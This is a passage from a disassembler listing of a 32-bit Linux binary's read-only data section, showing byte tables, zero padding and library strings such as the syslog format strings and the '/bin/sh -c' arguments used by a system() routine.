; DATA XREF: sub_8052DE8+43o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 94h ; db 2Dh ; - db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 1Bh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 23h ; # db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4Ch ; L db 1Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 20h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 44h ; D db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 24h ; $ db 6 ; db 8 ; unk_8067F84 db 4Eh ; N ; DATA XREF: sub_8053310+1A5o db 61h ; a db 4Eh ; N db 0 ; unk_8067F88 db 49h ; I ; DATA XREF: sub_8053310+131o ; sub_8053310+1CCo db 6Eh ; n db 66h ; f db 0 ; aSyslog db 'syslog',0 ; DATA XREF: sub_8054E54+34o aD_15s db '<%d>%.15s ',0 ; DATA XREF: sub_8054EC8+8Ao aD db '[%d]',0 ; DATA XREF: sub_8054EC8+F9o aTruncated db '[truncated] ',0 ; DATA XREF: sub_8054EC8+17Co ; sub_8054EC8+1F1o ... aS db '%s',0 ; DATA XREF: sub_8054EC8+1D9o asc_8067FB3 db 0Ah,0 ; DATA XREF: sub_8054EC8+2FFo aDevConsole db '/dev/console',0 ; DATA XREF: sub_8054EC8+387o asc_8067FC2 db 0Dh,0Ah,0 ; DATA XREF: sub_8054EC8+39Ao aDevLog db '/dev/log',0 ; DATA XREF: sub_80552B0+41o aSh_0 db 'sh',0 ; DATA XREF: system+DDo aC_0 db '-c',0 ; DATA XREF: system+E4o aBinSh_0 db '/bin/sh',0 ; DATA XREF: system+129o unk_8067FDC db 0 ; ; DATA XREF: .rodata:08068DACo db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; unk_8067FE8 db 0 ; ; DATA XREF: .rodata:08068DBCo db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 64h ; d db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 27h ; ' db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0F5h ; db 5 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 6Fh ; o db 0F2h ; db 86h ; db 23h ; # db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 81h ; db 0EFh ; db 0ACh ; db 85h ; db 5Bh ; [ db 41h ; A db 6Dh ; m db 2Dh ; - db 0EEh ; db 4 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 1Fh ; db 6Ah ; j db 0BFh ; db 64h ; d db 0EDh ; db 38h ; 8 db 6Eh ; n db 0EDh ; db 97h ; db 0A7h ; db 0DAh ; db 0F4h ; db 0F9h ; db 3Fh ; ? db 0E9h ; db 3 ; db 4Fh ; O db 18h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 3Eh ; > db 95h ; db 2Eh ; . db 9 ; db 99h ; db 0DFh ; db 3 ; db 0FDh ; db 38h ; 8 db 15h ; db 0Fh ; db 2Fh ; / db 0E4h ; db 74h ; t db 23h ; # db 0ECh ; db 0F5h ; db 0CFh ; db 0D3h ; db 8 ; db 0DCh ; db 4 ; db 0C4h ; db 0DAh ; db 0B0h ; db 0CDh ; db 0BCh ; db 19h ; db 7Fh ;  db 33h ; 3 db 0A6h ; db 3 ; db 26h ; & db 1Fh ; db 0E9h ; db 4Eh ; N db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 7Ch ; | db 2Eh ; . db 98h ; db 5Bh ; [ db 87h ; db 0D3h ; db 0BEh ; db 72h ; r db 9Fh ; db 0D9h ; db 0D8h ; db 87h ; db 2Fh ; / db 15h ; db 12h ; db 0C6h ; db 50h ; P db 0DEh ; db 6Bh ; k db 70h ; p db 6Eh ; n db 4Ah ; J db 0CFh ; db 0Fh ; db 0D8h ; db 95h ; db 0D5h ; db 6Eh ; n db 71h ; q db 0B2h ; db 26h ; & db 0B0h ; db 66h ; f db 0C6h ; db 0ADh ; db 24h ; $ db 36h ; 6 db 15h ; db 1Dh ; db 5Ah ; Z db 0D3h ; db 42h ; B db 3Ch ; < db 0Eh ; db 54h ; T db 0FFh ; db 63h ; c db 0C0h ; db 73h ; s db 55h ; U db 0CCh ; db 17h ; db 0EFh ; db 0F9h ; db 65h ; e db 0F2h ; db 28h ; ( db 0BCh ; db 55h ; U db 0F7h ; db 0C7h ; db 0DCh ; db 80h ; db 0DCh ; db 0EDh ; db 6Eh ; n db 0F4h ; db 0CEh ; db 0EFh ; db 0DCh ; db 5Fh ; _ db 0F7h ; db 53h ; S db 5 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0F8h ; db 6Ch ; l db 0FCh ; db 67h ; g db 72h ; r db 0F2h ; db 77h ; w db 0DCh ; db 46h ; F db 95h ; db 8Fh ; db 6Fh ; o db 97h ; db 96h ; db 5Dh ; ] db 97h ; db 8Ah ; db 3Ah ; : db 0B8h ; db 0D9h ; db 1Ah ; db 1Eh ; db 0C3h ; db 13h ; db 5 ; db 0C4h ; db 46h ; F db 47h ; G db 57h ; W db 0E6h ; db 94h ; db 0C1h ; db 76h ; v db 89h ; db 0C8h ; db 79h ; y db 0B5h ; db 75h ; u db 44h ; D db 3Bh ; ; db 73h ; s db 0F8h ; db 28h ; ( db 0BFh ; db 0A1h ; db 1Dh ; db 0AAh ; db 21h ; ! db 0D3h ; db 3Eh ; > db 70h ; p db 0EAh ; db 0CFh ; db 25h ; % db 1Eh ; db 22h ; " db 2Fh ; / db 1Ah ; db 0B2h ; db 2Eh ; . db 0FBh ; db 51h ; Q db 0BCh ; db 5Dh ; ] db 4Fh ; O db 0E1h ; db 96h ; db 0ACh ; db 0EDh ; db 0A3h ; db 0BFh ; db 0AEh ; db 57h ; W db 9Ch ; db 32h ; 2 db 53h ; S db 71h ; q db 0FCh ; db 0E7h ; db 95h ; db 6 ; db 0FCh ; db 0C3h ; db 24h ; $ db 19h ; db 0A9h ; db 85h ; db 5Eh ; ^ db 63h ; c db 5Fh ; _ db 0F9h ; db 0E0h ; db 8Eh ; db 90h ; db 0B2h ; db 0E4h ; db 0ADh ; db 0ABh ; db 93h ; db 2Ah ; * db 73h ; s db 66h ; f db 13h ; db 5Ch ; \ db 77h ; w db 49h ; I db 94h ; db 0Eh ; db 5Bh ; [ db 0BEh ; db 69h ; i db 0ACh ; db 0AFh ; db 43h ; C db 73h ; s db 81h ; db 0BCh ; db 99h ; db 0B0h ; db 46h ; F db 1Dh ; db 0A7h ; db 45h ; E db 48h ; H db 97h ; db 69h ; i db 0A2h ; db 3 ; db 73h ; s db 0B0h ; db 8Ch ; db 13h ; db 1Fh ; db 0Bh ; db 8Ah ; db 97h ; db 8Ah ; db 0ABh ; db 8Ch ; db 0D9h ; db 38h ; 8 db 0D2h ; db 0C1h ; db 0D4h ; db 15h ; db 34h ; 4 db 63h ; c db 1Ch ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0F0h ; db 19h ; db 29h ; ) db 72h ; r db 2Bh ; + db 5Bh ; [ db 0F5h ; db 5Bh ; [ db 21h ; ! db 7Ch ; | db 6Eh ; n db 86h ; db 9Fh ; db 0C2h ; db 1Eh ; db 87h ; db 4Eh ; N db 1Ch ; db 99h ; db 88h ; db 1Ah ; db 0C5h ; db 15h ; db 35h ; 5 db 0C5h ; db 0Ah ; db 14h ; db 1Ah ; db 1Eh ; db 7Dh ; } db 4Ch ; L db 19h ; db 0D8h ; db 2Ch ; , db 0CCh ; db 0Eh ; db 44h ; D db 0D1h ; db 0Eh ; db 0EEh ; db 34h ; 4 db 66h ; f db 89h ; db 0FBh ; db 6Ch ; l db 0E1h ; db 7Dh ; } db 1Fh ; db 0F6h ; db 43h ; C db 1Eh ; db 7Dh ; } db 83h ; db 0CEh ; db 9Fh ; db 9Ch ; db 2Bh ; + db 1Dh ; db 23h ; # db 0C7h ; db 55h ; U db 3Eh ; > db 23h ; # db 0D7h ; db 60h ; ` db 0DCh ; db 65h ; e db 8Bh ; db 21h ; ! db 51h ; Q db 0F4h ; db 34h ; 4 db 0D1h ; db 5Ch ; \ db 1Ch ; db 86h ; db 59h ; Y db 63h ; c db 0C9h ; db 9Fh ; db 0BBh ; db 2Bh ; + db 92h ; db 31h ; 1 db 94h ; db 0E8h ; db 0A7h ; db 7 ; db 2Ah ; * db 9Fh ; db 9Fh ; db 5Ah ; Z db 69h ; i db 0BEh ; db 62h ; b db 0C4h ; db 42h ; B db 10h ; db 8Eh ; db 74h ; t db 7Ah ; z db 5Bh ; [ db 4 ; db 0E3h ; db 1Dh ; db 0BEh ; db 1Ah ; db 0A5h ; db 22h ; " db 0D8h ; db 8Ah ; db 11h ; db 0C4h ; db 34h ; 4 db 0BAh ; db 5 ; db 0B5h ; db 14h ; db 0D8h ; db 0B3h ; db 0DEh ; db 3Fh ; ? db 0BFh ; db 16h ; db 1Ah ; db 0C5h ; db 8Fh ; db 0BCh ; db 96h ; db 0B8h ; db 0B1h ; db 0ECh ; db 0EEh ; db 6Dh ; m db 0F5h ; db 0FDh ; db 6Bh ; k db 0FBh ; db 31h ; 1 db 4Bh ; K db 65h ; e db 0F4h ; db 0B6h ; db 16h ; db 36h ; 6 db 1Ah ; db 10h ; db 0FBh ; db 95h ; db 75h ; u db 6Bh ; k db 0FEh ; db 47h ; G db 1Ah ; db 0DCh ; db 89h ; db 80h ; db 0D9h ; db 80h ; db 0A5h ; db 0A5h ; db 0BDh ; db 80h ; db 82h ; db 28h ; ( db 20h ; db 9Ah ; db 66h ; f db 0Fh ; db 0EBh ; db 31h ; 1 db 90h ; db 1Fh ; db 8Fh ; db 0FCh ; db 10h ; db 33h ; 3 db 6Ah ; j db 97h ; db 7Eh ; ~ db 7Bh ; { db 6Ah ; j db 0E2h ; db 8Ah ; db 36h ; 6 db 68h ; h db 0DFh ; db 0B8h ; db 0A0h ; db 0E3h ; db 3Ch ; < db 0CEh ; db 62h ; b db 42h ; B db 8Eh ; db 0A2h ; db 51h ; Q db 0A3h ; db 75h ; u db 0C9h ; db 0B6h ; db 0B0h ; db 6Ch ; l db 83h ; db 75h ; u db 59h ; Y db 44h ; D db 3Fh ; ? db 65h ; e db 0B5h ; db 31h ; 1 db 8Ah ; db 0E3h ; db 56h ; V db 0C3h ; db 0A6h ; db 0ABh ; db 0FAh ; db 35h ; 5 db 0A0h ; db 0FBh ; db 90h ; db 1 ; db 52h ; R db 0EDh ; db 0C4h ; db 9Fh ; db 1Bh ; db 49h ; I db 0BCh ; db 88h ; db 4Ah ; J db 11h ; db 40h ; @ db 16h ; db 41h ; A db 80h ; db 5Bh ; [ db 0 ; db 5Eh ; ^ db 23h ; # db 0F3h ; db 0F4h ; db 49h ; I db 46h ; F db 8Dh ; db 1Eh ; db 6 ; db 0DEh ; db 0A8h ; db 36h ; 6 db 49h ; I db 53h ; S db 0C5h ; db 73h ; s db 2Ah ; * db 0BDh ; db 0E6h ; db 0A7h ; db 0Ch ; db 97h ; db 0A6h ; db 0C1h ; db 94h ; db 70h ; p db 18h ; db 47h ; G db 0EFh ; db 49h ; I db 0DBh ; db 0D2h ; db 5Bh ; [ db 3Fh ; ? db 6Ch ; l db 92h ; db 0D4h ; db 9 ; db 62h ; b db 0AEh ; db 49h ; I db 39h ; 9 db 43h ; C db 2Dh ; - db 0C6h ; db 0A3h ; db 0F4h ; db 34h ; 4 db 94h ; db 5Dh ; ] db 30h ; 0 db 0D4h ; db 5 ; db 1Ah ; db 0D6h ; db 0D9h ; db 25h ; % db 3 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0E0h ; db 33h ; 3 db 13h ; db 65h ; e db 68h ; h db 9 ; db 0E3h ; db 3Fh ; ? db 4Dh ; M db 7Dh ; } db 0B2h ; db 0CFh ; db 8Dh ; db 0E2h ; db 49h ; I db 21h ; ! db 47h ; G db 2Eh ; . db 0ECh ; db 54h ; T db 0E3h ; db 87h ; db 0EEh ; db 84h ; db 75h ; u db 6 ; db 0B6h ; db 0BBh ; db 8Ah ; db 8Bh ; db 36h ; 6 db 91h ; db 0A1h ; db 0E5h ; db 0A5h ; db 55h ; U db 6Dh ; m db 0D5h ; db 2Eh ; . db 73h ; s db 77h ; w db 82h ; db 0FDh ; db 42h ; B db 0D1h ; db 50h ; P db 0EAh ; db 0B2h ; db 8Dh ; db 0B7h ; db 51h ; Q db 9Eh ; db 2Ch ; , db 34h ; 4 db 98h ; db 0BCh ; db 0DAh ; db 50h ; P db 0C8h ; db 0F1h ; db 0D6h ; db 6Eh ; n db 86h ; db 12h ; db 2Ch ; , db 34h ; 4 db 19h ; db 87h ; db 49h ; I db 79h ; y db 92h ; db 0C2h ; db 69h ; i db 0F8h ; db 0D2h ; db 4Ah ; J db 2Eh ; . db 91h ; db 66h ; f db 8Fh ; db 0FDh ; db 0C7h ; db 71h ; q db 2Dh ; - db 84h ; db 0A7h ; db 57h ; W db 0EBh ; db 52h ; R db 55h ; U db 23h ; # db 0CCh ; db 0EDh ; db 7Fh ;  db 0FBh ; db 0E0h ; db 1Ch ; db 86h ; db 0F3h ; db 0E1h ; db 9Ch ; db 20h ; db 38h ; 8 db 49h ; I db 0B4h ; db 13h ; db 97h ; db 34h ; 4 db 1 ; db 0C1h ; db 34h ; 4 db 0DEh ; db 54h ; T db 6Ch ; l db 8Ch ; db 9Ch ; db 28h ; ( db 0A8h ; db 0A7h ; db 43h ; C db 66h ; f db 0BBh ; db 2Dh ; - db 0F3h ; db 64h ; d db 0CBh ; db 0E3h ; db 1 ; db 0FFh ; db 74h ; t db 80h ; db 0E9h ; db 2Eh ; . db 89h ; db 0E3h ; db 94h ; db 7Fh ;  db 0C1h ; db 10h ; db 92h ; db 6Fh ; o db 0F1h ; db 0A8h ; db 0D6h ; db 1Eh ; db 28h ; ( db 0A8h ; db 0B3h ; db 0BBh ; db 7Ah ; z db 96h ; db 40h ; @ db 14h ; db 15h ; db 5Ah ; Z db 0EDh ; db 0FBh ; db 52h ; R db 99h ; db 44h ; D db 1Eh ; db 0B4h ; db 13h ; db 0C3h ; db 9 ; db 0E6h ; db 0AFh ; db 16h ; db 0A4h ; db 0BCh ; db 0A2h ; db 1Fh ; db 82h ; db 11h ; db 0F1h ; db 0B4h ; db 64h ; d db 12h ; db 0FBh ; db 74h ; t db 0C9h ; db 0BAh ; db 91h ; db 0ABh ; db 0D6h ; db 0C7h ; db 0D6h ; db 35h ; 5 db 0FFh ; db 48h ; H db 8Eh ; db 43h ; C db 0BDh ; db 19h ; db 44h ; D db 65h ; e db 56h ; V db 0A6h ; db 0C4h ; db 10h ; db 55h ; U db 5Eh ; ^ db 68h ; h db 36h ; 6 db 4Ch ; L db 55h ; U db 33h ; 3 db 97h ; db 86h ; db 49h ; I db 0ABh ; db 0FEh ; db 21h ; ! db 0BDh ; db 0Dh ; db 1Dh ; db 49h ; I db 0FEh ; db 3Ch ; < db 66h ; f db 0A4h ; db 2Dh ; - db 98h ; db 0A7h ; db 4Ch ; L db 0EAh ; db 0CBh ; db 7Bh ; { db 0Ch ; db 11h ; db 9Eh ; db 8Ah ; db 6Bh ; k db 0C5h ; db 79h ; y db 47h ; G db 0A0h ; db 0C5h ; db 5Fh ; _ db 2Eh ; . db 0Eh ; db 0D8h ; db 84h ; db 44h ; D db 0F4h ; db 0A9h ; db 1Ah ; db 3Ch ; < db 20h ; db 0Fh ; db 73h ; s db 0ABh ; db 0B1h ; db 57h ; W db 6Ah ; j db 0A6h ; db 0F7h ; db 52h ; R db 0D7h ; db 62h ; b db 0DCh ; db 0A7h ; db 87h ; db 0FFh ; db 45h ; E db 45h ; E db 94h ; db 60h ; ` db 4 ; db 66h ; f db 40h ; @ db 2Fh ; / db 0A4h ; db 0C1h ; db 77h ; w db 5Dh ; ] db 37h ; 7 db 0ACh ; db 0C9h ; db 0EFh ; db 0D7h ; db 66h ; f db 0E8h ; db 0F0h ; db 95h ; db 46h ; F db 74h ; t db 85h ; db 8Ch ; db 42h ; B db 81h ; db 96h ; db 6Bh ; k db 0FCh ; db 0A1h ; db 7Bh ; { db 7Ch ; | db 91h ; db 0D7h ; db 19h ; db 3Ch ; < db 0F0h ; db 7Bh ; { db 41h ; A db 0EBh ; db 33h ; 3 db 5Bh ; [ db 91h ; db 0F7h ; db 15h ; db 57h ; W db 5Fh ; _ db 0AEh ; db 6Ch ; l db 8Fh ; db 0FDh ; db 8 ; db 7 ; db 0DBh ; db 8Eh ; db 0ACh ; db 25h ; % db 0B1h ; db 0B7h ; db 0E6h ; db 5Ch ; \ db 78h ; x db 5Bh ; [ db 81h ; db 0C6h ; db 56h ; V db 0DBh ; db 0EAh ; db 46h ; F db 6Fh ; o db 0EEh ; db 0BEh ; db 0EEh ; db 4Eh ; N db 0D8h ; db 55h ; U db 53h ; S db 19h ; db 3Ch ; < db 0DEh ; db 44h ; D db 0A2h ; db 0C0h ; db 89h ; db 73h ; s db 9Dh ; db 0BDh ; db 1Ah ; db 76h ; v db 53h ; S db 19h ; db 0D0h ; db 99h ; db 0CFh ; db 4Bh ; K db 0C2h ; db 9Eh ; db 0DEh ; db 39h ; 9 db 0CEh ; db 76h ; v db 0Dh ; db 81h ; db 0B1h ; db 0BEh ; db 70h ; p db 0EEh ; db 0ECh ; db 55h ; U db 2Eh ; . db 79h ; y db 60h ; ` db 0F8h ; db 0D5h ; db 4Bh ; K db 9Dh ; db 6Dh ; m db 0F5h ; db 0FBh ; db 86h ; db 88h ; db 0FBh ; db 83h ; db 5Ah ; Z db 0EFh ; db 13h ; db 0C5h ; db 43h ; C db 8Fh ; db 40h ; @ db 0A4h ; db 89h ; db 33h ; 3 db 3Fh ; ? db 43h ; C db 79h ; y db 0D3h ; db 0FAh ; db 5Ch ; \ db 0F4h ; db 0CCh ; db 58h ; X db 46h ; F db 0F8h ; db 2Dh ; - db 0F8h ; db 3Eh ; > db 7Fh ;  db 5Ch ; \ db 41h ; A db 18h ; db 0E8h ; db 15h ; db 29h ; ) db 0F4h ; db 5Ch ; \ db 3Dh ; = db 8Bh ; db 27h ; ' db 5Fh ; _ db 44h ; D db 6Ah ; j db 7Ah ; z db 0B5h ; db 0DBh ; db 0F8h ; db 70h ; p db 0 ; db 8Fh ; db 0CAh ; db 0ECh ; db 3 ; db 0D8h ; db 8Ah ; db 34h ; 4 db 7Ch ; | db 0E8h ; db 0B2h ; db 45h ; E db 92h ; db 8Fh ; db 3 ; db 6Ch ; l db 8Ah ; db 0DDh ; db 0BEh ; db 0E0h ; db 0DEh ; db 0C9h ; db 0C7h ; db 56h ; V db 7Dh ; } db 0ACh ; db 0Eh ; db 14h ; db 0FAh ; db 0D3h ; db 2Ah ; * db 40h ; @ db 8 ; db 0DEh ; db 0E0h ; db 7Ch ; | db 67h ; g db 75h ; u db 0F7h ; db 0D5h ; db 0Ah ; db 0BDh ; db 0F1h ; db 1Eh ; db 22h ; " db 0BEh ; db 92h ; db 0B9h ; db 1Fh ; db 0FAh ; db 87h ; db 0A4h ; db 4 ; db 9Dh ; db 0CEh ; db 0A9h ; db 6Fh ; o db 0C3h ; db 0D2h ; db 24h ; $ db 70h ; p db 6Fh ; o db 3Fh ; ? db 62h ; b db 0AFh ; db 28h ; ( db 0B0h ; db 0EEh ; db 55h ; U db 78h ; x db 90h ; db 0D6h ; db 49h ; I db 3Eh ; > db 0D8h ; db 0DCh ; db 0C5h ; db 0FAh ; db 4Eh ; N db 0ABh ; db 1Ah ; db 15h ; db 0E7h ; db 6Bh ; k db 8Ch ; db 0CDh ; db 77h ; w db 7Dh ; } db 3Bh ; ; db 75h ; u db 0Ah ; db 0B4h ; db 8 ; db 0F9h ; db 0Ah ; db 23h ; # db 36h ; 6 db 98h ; db 8Ch ; db 27h ; ' db 30h ; 0 db 0Fh ; db 0E5h ; db 71h ; q db 27h ; ' db 22h ; " db 94h ; db 0D6h ; db 0E2h ; db 8 ; db 1Dh ; db 0E6h ; db 28h ; ( db 0E9h ; db 0F7h ; db 0A6h ; db 5Ch ; \ db 0EEh ; db 0F2h ; db 3Ch ; < db 0B9h ; db 61h ; a db 1Bh ; db 2Bh ; + db 96h ; db 0EBh ; db 11h ; db 1Ch ; db 0B2h ; db 48h ; H db 96h ; db 0A1h ; db 0CBh ; db 2Bh ; + db 0CEh ; db 54h ; T db 71h ; q db 0F7h ; db 34h ; 4 db 30h ; 0 db 0BEh ; db 0BEh ; db 7Bh ; { db 19h ; db 0A3h ; db 26h ; & db 0E5h ; db 0ACh ; db 29h ; ) db 0E3h ; db 8Ch ; db 0D2h ; db 74h ; t db 4Ah ; J db 0DEh ; db 0D5h ; db 53h ; S db 0DCh ; db 0B5h ; db 0B3h ; db 0E8h ; db 9 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 